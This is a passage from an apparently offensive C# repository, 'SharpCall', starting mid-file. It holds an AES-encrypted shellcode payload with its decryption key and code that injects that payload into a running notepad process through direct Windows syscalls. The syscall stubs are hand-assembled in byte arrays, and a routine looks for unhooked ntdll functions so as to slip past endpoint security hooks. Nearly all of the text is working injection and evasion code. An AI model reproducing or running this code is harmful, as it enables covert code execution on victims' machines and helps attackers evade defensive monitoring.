"2rxlOpkiE4Ms0EpxfD5chEiZk/j/zOoVY4Ajzv4KV4AzhzJ9IwvyclX9u2sYzdVj6Pa+b77WKCgzagvp7qwUVvV1Hrijaqc3LiBd/9IsJ//TBjVl2ZrgwB3bcVOhvJKsnQYmvoj7TOSF1hVYlVmEwRS2oI+0/RFTJ9sbyT+P/CmZ5rqOIRKyftuufnMaJ0HjINK8asWw6yJGArAV3PaI9swXnC6juAGDstdlAAzcpGvfsSrIQYDKHcOJ8qGRMat0nfF1ipaZF+M2MkHVH5kg4ULDvYgcshLxnMmNJvSPjY2QCyvyxBcgTrGQ0vxVAUM8VY/gKDV4zh52C5D2sPOOViOjYYLHGgIfJmAQZICLYw1dyHWQ01/iovZ1B2IHrOFiTT3I3unInASJ+8h3DIphgxZU4Dk9CNXdSGg5y6j8QdZVDuObrfbQpTh8buGsN/RYlwEGrF3O44YsPLxwcjhPmMfvC8ZogkPSMdSO/ZrIoh9CMuy5NtAGLleVy/JYIWx0IsUFoZREgniC0+UF75rb+yOzInKN7eHeOOry9k+itwx0D1L6+Zs9ZRZVNusEklDoXxuuK/Hbyu6CdzLOpBb1/KyaQrUK5lPwx+uHnZUweqORJJ9bY3kDdoV8IcKL9f180JZaY6rCf8alh7jyDH5/nPj4xVbiXZRbpc1ePNWAkf1LSIGxRGwzu+hw0nnPdfMCMYXkjh6zVds4ucUM5hmuB9tFy9+DClYF/wFnblNDIhuN75I1uxF7lubYkLoVih6UpNcMbPgArrvtX5zmAQzYC8yGk9MWIhu6R9IsA3Kvrj3ejcaOn6bnxFmetQaLrh/GMXIN2UeQNbf0I/nPQWikRBo9tK14uXvQ2q7ql74aTqCBBwTJqBUOjYjqla/na35ZSgIzmKIV6jtdz3XWZNUSgbqbQSVO0NpD+bolgDZOTX0QZNsFW7RU3jwYurZdkwmUZUcIOm6KpIl+txs28DR/QgRlTuehDvTfL1MjdSvhFHk="; 21 | string key = "Z6ZWn15Y3tQ0GnAc0OPy6K0p0rWItIbO"; 22 | 23 | // decrypt the payload 24 | byte[] shellcode = Decrypt(key, payload); 25 | 26 | // display the base address of ntdll.dll 27 | Debug("[+] Base Address of ntdll is 0x{0}", new string[] { Syscalls.NtDllBaseAddress.ToString("X") }); 28 | 29 | // get the pid of the explorer process 30 | int pid = System.Diagnostics.Process.GetProcessesByName("notepad")[0].Id; 31 | Debug("[+] Target PID is {0}", new string[] { pid.ToString() }); 32 | 33 | if(pid == 0) 34 | { 35 | Debug("[!] Unable to find process PID, will close!", null); 36 | } 37 | 38 | // set up the syscall for NtOpenProcess 39 | CLIENT_ID cID = new CLIENT_ID(); 40 | cID.UniqueProcess = (IntPtr)(UInt32)pid; 41 | OBJECT_ATTRIBUTES oAttr = new OBJECT_ATTRIBUTES(); 42 | IntPtr hProcess = IntPtr.Zero; 43 | 44 | // make the NtOpenProcess syscall 45 | Debug("[+] Syscall NtOpenProcess on {0}", new string[] { pid.ToString() }); 46 | var status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref oAttr, ref cID); 47 | Debug("[+] Return, NTSTATUS={0}, hProcess=0x{1}", new string[] { status.ToString(), hProcess.ToString("X") }); 48 | 49 | // set up the syscall for NtAllocateVirtualMemory 50 | IntPtr baseAddress = IntPtr.Zero; 51 | IntPtr regionSize = (IntPtr)(shellcode.Length); 52 | 53 | // make the NtAllocateVirtualMemory syscall 54 | Debug("[+] Syscall NtAllocateVirtualMemory on 0x{0}", new string[] { hProcess.ToString("X") }); 55 | status = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x3000, 0x04); 56 | Debug("[+] Return, NTSTATUS={0}, baseAddress=0x{1}", new string[] { status.ToString(), baseAddress.ToString("X") }); 57 | 58 | // set up the syscall for NtWriteVirtualMemory 59 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 60 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 61 | uint bytesWritten = 0; 62 | 63 | // make the NtWriteVirtualMemory syscall 64 | Debug("[+] Syscall NtWriteVirtualMemory to 0x{0}", new string[] { baseAddress.ToString("X") }); 65 | status = NtWriteVirtualMemory(hProcess, baseAddress, buffer, (uint)shellcode.Length, ref bytesWritten); 66 | Debug("[+] Return, NTSTATUS={0}, bytesWritten=0x{1}", new string[] { status.ToString(), bytesWritten.ToString() }); 67 | 68 | // set up the syscall for NtProtectVirtualMemory 69 | uint oldProtect = 0; 70 | 71 | // make the NtProtectVirtualMemory syscall 72 | Debug("[+] Syscall NtProtectVirtualMemory on 0x{0}", new string[] { baseAddress.ToString("X") }); 73 | status = NtProtectVirtualMemory(hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); 74 | Debug("[+] Return, NTSTATUS={0}", new string[] { status.ToString() }); 75 | 76 | // set up the syscall for NtCreateThreadEx 77 | IntPtr hThread = IntPtr.Zero; 78 | 79 | // make the NtCreateThreadEx syscall 80 | Console.WriteLine("[+] Syscall NtCreateThreadEx to 0x{0}", baseAddress.ToString("X")); 81 | status = NtCreateThreadEx(out hThread, ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); 82 | Debug("[+] Return, NTSTATUS={0}, hThread=0x{1}", new string[] { status.ToString(), hThread.ToString() }); 83 | 84 | #if DEBUG 85 | Console.ReadLine(); 86 | #endif 87 | } 88 | 89 | /// 90 | /// Decrypts a base64 text string into a byte array using AES256 91 | /// 92 | /// The key to decrypt the payload 93 | /// The encrypted base64 string 94 | /// A decrypted byte array 95 | private static byte[] Decrypt(string key, string aes_base64) 96 | { 97 | byte[] tempKey = Encoding.ASCII.GetBytes(key); 98 | tempKey = SHA256.Create().ComputeHash(tempKey); 99 | 100 | byte[] data = Convert.FromBase64String(aes_base64); 101 | 102 | // decrypt data 103 | Aes aes = new AesManaged(); 104 | aes.Mode = CipherMode.CBC; 105 | aes.Padding = PaddingMode.PKCS7; 106 | ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16)); 107 | 108 | using (MemoryStream msDecrypt = new MemoryStream()) 109 | { 110 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write)) 111 | { 112 | 113 | csDecrypt.Write(data, 0, data.Length); 114 | 115 | return msDecrypt.ToArray(); 116 | } 117 | } 118 | } 119 | 120 | /// 121 | /// Returns a sub byte array from a given array 122 | /// 123 | /// The input array 124 | /// The length of the array to return 125 | /// The sub array 126 | private static byte[] SubArray(byte[] a, int length) 127 | { 128 | byte[] b = new byte[length]; 129 | for (int i = 0; i < length; i++) 130 | { 131 | b[i] = a[i]; 132 | } 133 | return b; 134 | } 135 | 136 | public static void Debug(string text, string[] args) 137 | { 138 | #if DEBUG 139 | Console.WriteLine(text, args); 140 | #endif 141 | } 142 | } 143 | } 144 | -------------------------------------------------------------------------------- /SysCall/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpCall")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpCall")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("592d358e-a0af-4703-9e7b-18e7327d01cb")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SysCall/SysCall.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {592D358E-A0AF-4703-9E7B-18E7327D01CB} 8 | Exe 9 | SharpCall 10 | SharpCall 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | true 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | true 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | true 47 | 48 | 49 | bin\x64\Release\ 50 | TRACE 51 | true 52 | pdbonly 53 | x64 54 | 7.3 55 | prompt 56 | true 57 | true 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /SysCall/Syscalls.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.ComponentModel; 4 | using System.Diagnostics; 5 | using System.Runtime.InteropServices; 6 | 7 | using static SysCall.Native; 8 | 9 | namespace SysCall 10 | { 11 | /// 12 | /// The syscalls 13 | /// 14 | /// The syscall codes are specifically for Windows 10 Pro (build 10.0.19042), make sure you use the right ones for your target! 15 | class Syscalls 16 | { 17 | 18 | static IntPtr ntdllBaseAddress = IntPtr.Zero; 19 | 20 | /// 21 | /// Gets the base address of ntdll.dll 22 | /// 23 | public static IntPtr NtDllBaseAddress 24 | { 25 | get 26 | { 27 | if(ntdllBaseAddress == IntPtr.Zero) 28 | ntdllBaseAddress = GetNtdllBaseAddress(); 29 | return ntdllBaseAddress; 30 | } 31 | } 32 | 33 | static byte[] bNtOpenProcess = 34 | { 35 | 0x4C, 0x8B, 0xD1, // mov r10, rcx 36 | 0xB8, 0x26, 0x00, 0x00, 0x00, // mov eax, 0x26 (NtOpenProcess Syscall) 37 | 0x0F, 0x05, // syscall 38 | 0xC3 // ret 39 | }; 40 | 41 | static byte[] bNtAllocateVirtualMemory = 42 | { 43 | 0x4C, 0x8B, 0xD1, // mov r10, rcx 44 | 0xB8, 0x18, 0x00, 0x00, 0x00, // mov eax, 0x18 (NtAllocateVirtualMemory Syscall) 45 | 0x0F, 0x05, // syscall 46 | 0xC3 // ret 47 | }; 48 | 49 | static byte[] bNtWriteVirtualMemory = 50 | { 51 | 0x4C, 0x8B, 0xD1, // mov r10, rcx 52 | 0xB8, 0x3a, 0x00, 0x00, 0x00, // mov eax, 0x3a (NtWriteVirtualMemory Syscall) 53 | 0x0F, 0x05, // syscall 54 | 0xC3 // ret 55 | }; 56 | 57 | static byte[] bNtCreateThreadEx = 58 | { 59 | 0x4C, 0x8B, 0xD1, // mov r10, rcx 60 | 0xB8, 0xc1, 0x00, 0x00, 0x00, // mov eax, 0xc1 (NtCreateThreadEx Syscall) 61 | 0x0F, 0x05, // syscall 62 | 0xC3 // ret 63 | }; 64 | 65 | static byte[] bNtProtectVirtualMemory = 66 | { 67 | 0x4C, 0x8B, 0xD1, // mov r10, rcx 68 | 0xB8, 0x50, 0x00, 0x00, 0x00, // mov eax, 0x50 (NtCreateThreadEx Syscall) 69 | 0x0F, 0x05, // syscall 70 | 0xC3 // ret 71 | }; 72 | 73 | public static NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId) 74 | { 75 | // dynamically resolve the syscall 76 | byte[] syscall = bNtOpenProcess; 77 | syscall[4] = GetSysCallId("NtOpenProcess"); 78 | 79 | unsafe 80 | { 81 | fixed (byte* ptr = syscall) 82 | { 83 | IntPtr memoryAddress = (IntPtr)ptr; 84 | 85 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect)) 86 | { 87 | throw new Win32Exception(); 88 | } 89 | 90 | Delegates.NtOpenProcess assembledFunction = (Delegates.NtOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtOpenProcess)); 91 | 92 | return (NTSTATUS)assembledFunction(ref ProcessHandle, AccessMask, ref ObjectAttributes, ref ClientId); 93 | } 94 | } 95 | } 96 | 97 | public static NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionZize, UInt32 AllocationType, UInt32 Protect) 98 | { 99 | // dynamically resolve the syscall 100 | byte[] syscall = bNtAllocateVirtualMemory; 101 | syscall[4] = GetSysCallId("NtAllocateVirtualMemory"); 102 | 103 | unsafe 104 | { 105 | fixed (byte* ptr = syscall) 106 | { 107 | IntPtr memoryAddress = (IntPtr)ptr; 108 | 109 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect)) 110 | { 111 | throw new Win32Exception(); 112 | } 113 | 114 | Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); 115 | 116 | return (NTSTATUS)assembledFunction(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionZize, AllocationType, Protect); 117 | } 118 | } 119 | } 120 | 121 | public static NTSTATUS NtWriteVirtualMemory(IntPtr hProcess, IntPtr baseAddress, IntPtr buffer, UInt32 Length, ref UInt32 bytesWritten) 122 | { 123 | // dynamically resolve the syscall 124 | byte[] syscall = bNtWriteVirtualMemory; 125 | syscall[4] = GetSysCallId("NtWriteVirtualMemory"); 126 | 127 | 128 | unsafe 129 | { 130 | fixed (byte* ptr = syscall) 131 | { 132 | IntPtr memoryAddress = (IntPtr)ptr; 133 | 134 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect)) 135 | { 136 | throw new Win32Exception(); 137 | } 138 | 139 | Delegates.NtWriteVirtualMemory assembledFunction = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWriteVirtualMemory)); 140 | 141 | return (NTSTATUS)assembledFunction(hProcess, baseAddress, buffer, (uint)Length, ref bytesWritten); 142 | } 143 | } 144 | } 145 | 146 | public static NTSTATUS NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect) 147 | { 148 | // dynamically resolve the syscall 149 | byte[] syscall = bNtProtectVirtualMemory; 150 | syscall[4] = GetSysCallId("NtProtectVirtualMemory"); 151 | 152 | unsafe 153 | { 154 | fixed (byte* ptr = syscall) 155 | { 156 | IntPtr memoryAddress = (IntPtr)ptr; 157 | 158 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect)) 159 | { 160 | throw new Win32Exception(); 161 | } 162 | 163 | Delegates.NtProtectVirtualMemory assembledFunction = (Delegates.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtProtectVirtualMemory)); 164 | 165 | return (NTSTATUS)assembledFunction(ProcessHandle, ref BaseAddress, ref RegionSize, NewProtect, ref OldProtect); 166 | } 167 | } 168 | } 169 | 170 | public static NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList) 171 | { 172 | // dynamically resolve the syscall 173 | byte[] syscall = bNtCreateThreadEx; 174 | syscall[4] = GetSysCallId("NtCreateThreadEx"); 175 | 176 | unsafe 177 | { 178 | fixed (byte* ptr = syscall) 179 | { 180 | IntPtr memoryAddress = (IntPtr)ptr; 181 | 182 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect)) 183 | { 184 | throw new Win32Exception(); 185 | } 186 | 187 | Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); 188 | 189 | return (NTSTATUS)assembledFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, sizeOfStack, maximumStackSize, attributeList); 190 | } 191 | } 192 | } 193 | 194 | private static IntPtr GetNtdllBaseAddress() 195 | { 196 | Process hProc = Process.GetCurrentProcess(); 197 | 198 | foreach(ProcessModule m in hProc.Modules) 199 | { 200 | if (m.ModuleName.ToUpper().Equals("NTDLL.DLL")) 201 | return m.BaseAddress; 202 | } 203 | 204 | // we can't find the base address 205 | return IntPtr.Zero; 206 | } 207 | 208 | public static byte GetSysCallId(string FunctionName) 209 | { 210 | // first get the proc address 211 | IntPtr funcAddress = GetProcAddress(NtDllBaseAddress, FunctionName); 212 | 213 | byte count = 0; 214 | 215 | // loop until we find an unhooked function 216 | while (true) 217 | { 218 | // is the function hooked - we are looking for the 0x4C, 0x8B, 0xD1, instructions - this is the start of a syscall 219 | bool hooked = false; 220 | 221 | var instructions = new byte[5]; 222 | Marshal.Copy(funcAddress, instructions, 0, 5); 223 | if (!StructuralComparisons.StructuralEqualityComparer.Equals(new byte[3] { instructions[0], instructions[1], instructions[2] }, new byte[3] { 0x4C, 0x8B, 0xD1 })) 224 | hooked = true; 225 | 226 | if (!hooked) 227 | return (byte)(instructions[4] - count); 228 | 229 | funcAddress = (IntPtr)((UInt64)funcAddress + ((UInt64)32)); 230 | count++; 231 | } 232 | } 233 | 234 | struct Delegates 235 | { 236 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 237 | public delegate 238 | NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId); 239 | 240 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 241 | public delegate 242 | NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionZize, UInt32 AllocationType, UInt32 Protect); 243 | 244 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 245 | public delegate 246 | NTSTATUS NtWriteVirtualMemory(IntPtr hProcess, IntPtr baseAddress, IntPtr buffer, UInt32 Length, ref UInt32 bytesWritten); 247 | 248 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 249 | public delegate 250 | NTSTATUS NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect); 251 | 252 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 253 | public delegate 254 | NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList); 255 | }; 256 | } 257 | } 258 | -------------------------------------------------------------------------------- /Syscall_scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/plackyhacker/Sys-Calls/179788dccac8d4a0f9ab7f85841f91e0b6b1e3fa/Syscall_scan.png --------------------------------------------------------------------------------